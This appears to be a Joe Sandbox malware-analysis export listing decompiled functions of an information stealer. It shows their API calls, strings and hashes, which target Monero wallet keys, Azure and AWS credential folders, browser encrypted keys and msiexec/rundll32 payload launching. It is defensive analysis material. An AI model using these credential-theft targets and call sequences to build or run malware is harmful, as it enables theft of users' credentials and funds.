Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 15953f440051f5ad25154899d1fe01a6dfd50ece17e38b85b8776f7dcd14dca9
Instruction ID: 570d6f34e38d72a6a4d0752208195e112c6980659ed3e248e0aa7942dd380b07
Opcode Fuzzy Hash: 15953f440051f5ad25154899d1fe01a6dfd50ece17e38b85b8776f7dcd14dca9
Instruction Fuzzy Hash: 4AE163758411089BDB18FBA0ED96EEE7378FF14711F104068F117A7091DE39AE86EB62

Function 00F0C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,008AD5F0,00000000,?,00F2144C,00000000,?,?), ref: 00F0CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00F0CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00F0CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00F0CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00F0CAD9
StrStrA.SHLWAPI(?,008AD6E0,00F20B52), ref: 00F0CAF7
StrStrA.SHLWAPI(00000000,008AD650), ref: 00F0CB1E
StrStrA.SHLWAPI(?,008AE1B8,00000000,?,00F21458,00000000,?,00000000,00000000,?,008A9940,00000000,?,00F21454,00000000,?), ref: 00F0CCA2
StrStrA.SHLWAPI(00000000,008AE078), ref: 00F0CCB9

Part of subcall function 00F0C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00F0C871
Part of subcall function 00F0C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00F0C87C

StrStrA.SHLWAPI(?,008AE078,00000000,?,00F2145C,00000000,?,00000000,008A9780), ref: 00F0CD5A
StrStrA.SHLWAPI(00000000,008A9AB0), ref: 00F0CD71

Part of subcall function 00F0C820: lstrcat.KERNEL32(?,00F20B46), ref: 00F0C943
Part of subcall function 00F0C820: lstrcat.KERNEL32(?,00F20B47), ref: 00F0C957
Part of subcall function 00F0C820: lstrcat.KERNEL32(?,00F20B4E), ref: 00F0C978

lstrlen.KERNEL32(00000000), ref: 00F0CE44
CloseHandle.KERNEL32(00000000), ref: 00F0CE9C

Strings

, xrefs: 00F0C9C6

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: c38e4034d6eac2d76ecc8d95c3a0a4987918262483a3f5771d507bfa3b551d4a
Instruction ID: 79b4607ae711725ec333c115f8f668771e28c08811d4f3e0b69a89e05bf6c55e
Opcode Fuzzy Hash: c38e4034d6eac2d76ecc8d95c3a0a4987918262483a3f5771d507bfa3b551d4a
Instruction Fuzzy Hash: B4E10E71D01108ABDB18EBA0DD92FEEB778AF14710F404169F10767191EF396ACADBA1

Function 00F18320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

RegOpenKeyExA.ADVAPI32(00000000,008ABB40,00000000,00020019,00000000,00F205B6), ref: 00F183A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00F18426
wsprintfA.USER32 ref: 00F18459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00F1847B
RegCloseKey.ADVAPI32(00000000), ref: 00F1848C
RegCloseKey.ADVAPI32(00000000), ref: 00F18499

Part of subcall function 00F1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F1A7E6

Strings

- , xrefs: 00F185A3
%s\%s, xrefs: 00F1844D
?, xrefs: 00F1837A

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 60584a9abf346077c22e5150ee3244d86572c43d6f491537b01863d76b530403
Instruction ID: 9d8e24c560d28c4c7e9f4fb3749964aab54333cee71499addbad6ef1c316d040
Opcode Fuzzy Hash: 60584a9abf346077c22e5150ee3244d86572c43d6f491537b01863d76b530403
Instruction Fuzzy Hash: 8E811C75951118ABEB28DB50DD91FEAB7B8FF48710F008298E10AA6180DF756FC6DF90

Function 00F14D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F18E0B

lstrcat.KERNEL32(?,00000000), ref: 00F14DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00F14DCD

Part of subcall function 00F14910: wsprintfA.USER32 ref: 00F1492C
Part of subcall function 00F14910: FindFirstFileA.KERNEL32(?,?), ref: 00F14943

lstrcat.KERNEL32(?,00000000), ref: 00F14E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00F14E59

Part of subcall function 00F14910: StrCmpCA.SHLWAPI(?,00F20FDC), ref: 00F14971
Part of subcall function 00F14910: StrCmpCA.SHLWAPI(?,00F20FE0), ref: 00F14987
Part of subcall function 00F14910: FindNextFileA.KERNEL32(000000FF,?), ref: 00F14B7D
Part of subcall function 00F14910: FindClose.KERNEL32(000000FF), ref: 00F14B92

lstrcat.KERNEL32(?,00000000), ref: 00F14EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00F14EE5

Part of subcall function 00F14910: wsprintfA.USER32 ref: 00F149B0
Part of subcall function 00F14910: StrCmpCA.SHLWAPI(?,00F208D2), ref: 00F149C5
Part of subcall function 00F14910: wsprintfA.USER32 ref: 00F149E2
Part of subcall function 00F14910: PathMatchSpecA.SHLWAPI(?,?), ref: 00F14A1E
Part of subcall function 00F14910: lstrcat.KERNEL32(?,008AF2A8), ref: 00F14A4A
Part of subcall function 00F14910: lstrcat.KERNEL32(?,00F20FF8), ref: 00F14A5C
Part of subcall function 00F14910: lstrcat.KERNEL32(?,?), ref: 00F14A70
Part of subcall function 00F14910: lstrcat.KERNEL32(?,00F20FFC), ref: 00F14A82
Part of subcall function 00F14910: lstrcat.KERNEL32(?,?), ref: 00F14A96
Part of subcall function 00F14910: CopyFileA.KERNEL32(?,?,00000001), ref: 00F14AAC
Part of subcall function 00F14910: DeleteFileA.KERNEL32(?), ref: 00F14B31

Strings

msal.cache, xrefs: 00F14EF0
\.IdentityService\, xrefs: 00F14ED9
Azure\.IdentityService, xrefs: 00F14EEB
Azure\.azure, xrefs: 00F14DD3
*.*, xrefs: 00F14DD8
\.aws\, xrefs: 00F14E4D
*.*, xrefs: 00F14E64
Azure\.aws, xrefs: 00F14E5F
\.azure\, xrefs: 00F14DC1

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 11b84b4a78639188fbbc029aec3309e005f95f6f66da57e6dd38827aa649b195
Instruction ID: 9e98816291579fd3cf2319167cb6a518a3e9fc6b7ef977d5a0975c4da1ad21da
Opcode Fuzzy Hash: 11b84b4a78639188fbbc029aec3309e005f95f6f66da57e6dd38827aa649b195
Instruction Fuzzy Hash: E641A6BA94021467DB24F770FC47FED3738AB64700F404454B646660C1EEB99BD9EB92

Function 00F19010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00F1906C

Strings

image/jpeg, xrefs: 00F19136

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 1fa38d7c4cb2870998e4f79864fca33de63c303c46596eb9c4229ca7a4bb015c
Instruction ID: a42f1afa45231dd7bf3602c0bfbb14c3ccc2643e61c857d8a6e5efb6a27f5f60
Opcode Fuzzy Hash: 1fa38d7c4cb2870998e4f79864fca33de63c303c46596eb9c4229ca7a4bb015c
Instruction Fuzzy Hash: 42711075940208ABDB18DFE4EC99FEEB7B8FF48701F108118F516A7284DB74A985DB60

Function 00F12E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

ShellExecuteEx.SHELL32(0000003C), ref: 00F131C5
ShellExecuteEx.SHELL32(0000003C), ref: 00F1335D
ShellExecuteEx.SHELL32(0000003C), ref: 00F134EA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00F13332
/i ", xrefs: 00F133E4
/passive, xrefs: 00F1345B
<, xrefs: 00F13490
.msi, xrefs: 00F13398
C:\Windows\system32\msiexec.exe, xrefs: 00F134BF
"" , xrefs: 00F1309A
.dll, xrefs: 00F131E5

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 0332d2d44c7c5795813932c06444fd83978ef5d4079f39ba738e29670f6cce5f
Instruction ID: ae9f558b8f834ee52385a7b266e489dde0b986e484a78bd9849471c5c58fa7fc
Opcode Fuzzy Hash: 0332d2d44c7c5795813932c06444fd83978ef5d4079f39ba738e29670f6cce5f
Instruction Fuzzy Hash: 101210718011089ADB19FBA0DD92FEDB738AF14320F504159F50666191EF386BCBEFA2

Function 00F152C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F1A7E6

Part of subcall function 00F06280: InternetOpenA.WININET(00F20DFE,00000001,00000000,00000000,00000000), ref: 00F062E1
Part of subcall function 00F06280: StrCmpCA.SHLWAPI(?,008AF278), ref: 00F06303
Part of subcall function 00F06280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F06335
Part of subcall function 00F06280: HttpOpenRequestA.WININET(00000000,GET,?,008AE690,00000000,00000000,00400100,00000000), ref: 00F06385
Part of subcall function 00F06280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00F063BF
Part of subcall function 00F06280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00F063D1

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00F15318
lstrlen.KERNEL32(00000000), ref: 00F1532F

Part of subcall function 00F18E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00F18E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00F15364
lstrlen.KERNEL32(00000000), ref: 00F15383
lstrlen.KERNEL32(00000000), ref: 00F153AE

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Strings

ERROR, xrefs: 00F154A9
ERROR, xrefs: 00F15432
ERROR, xrefs: 00F153B9
ERROR, xrefs: 00F1546F
ERROR, xrefs: 00F1530A

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 0127f2a659e9a8c2100aca057052b107259e22d523fb5a259b778d5d5084ed55
Instruction ID: 47b90208be3a2556591b4c81c25600c55bd996a133983f37c0c288c40f03107a
Opcode Fuzzy Hash: 0127f2a659e9a8c2100aca057052b107259e22d523fb5a259b778d5d5084ed55
Instruction Fuzzy Hash: 0B511E34911148DBCB18FF60DD92AED7779AF50321F504028F4065B5D1EF396B86EB62

Function 00F112D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: e8cccb3beaaca20ec4395b8f56853ab8f931e4fc56dc1f1c270783510420a82c
Instruction ID: d1156d86737cf09de3c43019538894e8a343e3f17e37f176f6dcccab51559771
Opcode Fuzzy Hash: e8cccb3beaaca20ec4395b8f56853ab8f931e4fc56dc1f1c270783510420a82c
Instruction Fuzzy Hash: F7C1E8B59412089BCB18EF60DD89FEE7378BF64300F004598F51A67281EB78AAC5DF91

Function 00F14280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F18E0B

lstrcat.KERNEL32(?,00000000), ref: 00F142EC
lstrcat.KERNEL32(?,008AED50), ref: 00F1430B
lstrcat.KERNEL32(?,?), ref: 00F1431F
lstrcat.KERNEL32(?,008AD6B0), ref: 00F14333

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F18D90: GetFileAttributesA.KERNEL32(00000000,?,00F01B54,?,?,00F2564C,?,?,00F20E1F), ref: 00F18D9F

Part of subcall function 00F09CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00F09D39

Part of subcall function 00F099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F099EC
Part of subcall function 00F099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F09A11
Part of subcall function 00F099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00F09A31
Part of subcall function 00F099C0: ReadFile.KERNEL32(000000FF,?,00000000,00F0148F,00000000), ref: 00F09A5A
Part of subcall function 00F099C0: LocalFree.KERNEL32(00F0148F), ref: 00F09A90
Part of subcall function 00F099C0: CloseHandle.KERNEL32(000000FF), ref: 00F09A9A

Part of subcall function 00F193C0: GlobalAlloc.KERNEL32(00000000,00F143DD,00F143DD), ref: 00F193D3

StrStrA.SHLWAPI(?,008AED38), ref: 00F143F3
GlobalFree.KERNEL32(?), ref: 00F14512

Part of subcall function 00F09AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00F04EEE,00000000,00000000), ref: 00F09AEF
Part of subcall function 00F09AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00F04EEE,00000000,?), ref: 00F09B01
Part of subcall function 00F09AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00F04EEE,00000000,00000000), ref: 00F09B2A
Part of subcall function 00F09AC0: LocalFree.KERNEL32(?,?,?,?,00F04EEE,00000000,?), ref: 00F09B3F

lstrcat.KERNEL32(?,00000000), ref: 00F144A3
StrCmpCA.SHLWAPI(?,00F208D1), ref: 00F144C0
lstrcat.KERNEL32(00000000,00000000), ref: 00F144D2
lstrcat.KERNEL32(00000000,?), ref: 00F144E5
lstrcat.KERNEL32(00000000,00F20FB8), ref: 00F144F4

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 2605cd22e71f0475debc78da231a2b532cef11a50eecd07f46ae029bfe8b2594
Instruction ID: eb1d96ab2fb9911645425cc297155792e221b3cc9e4b4ce34ab2b4cefc3d6de5
Opcode Fuzzy Hash: 2605cd22e71f0475debc78da231a2b532cef11a50eecd07f46ae029bfe8b2594
Instruction Fuzzy Hash: 2C7196B6D00208ABDB14EBE0EC85FEE7379AF88700F044598F61597181EA38DB85DF91

